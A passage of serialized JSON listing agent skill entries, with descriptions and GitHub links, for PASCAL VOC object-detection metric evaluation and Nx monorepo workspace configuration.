diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":68,"name":69,"nameZh":6,"description":70,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":71,"categories":72,"keywords":73,"publishedAt":54},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":75,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":78,"categories":79,"keywords":80,"publishedAt":54},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":82,"name":83,"nameZh":6,"description":84,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":85,"categories":86,"keywords":87,"publishedAt":54},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]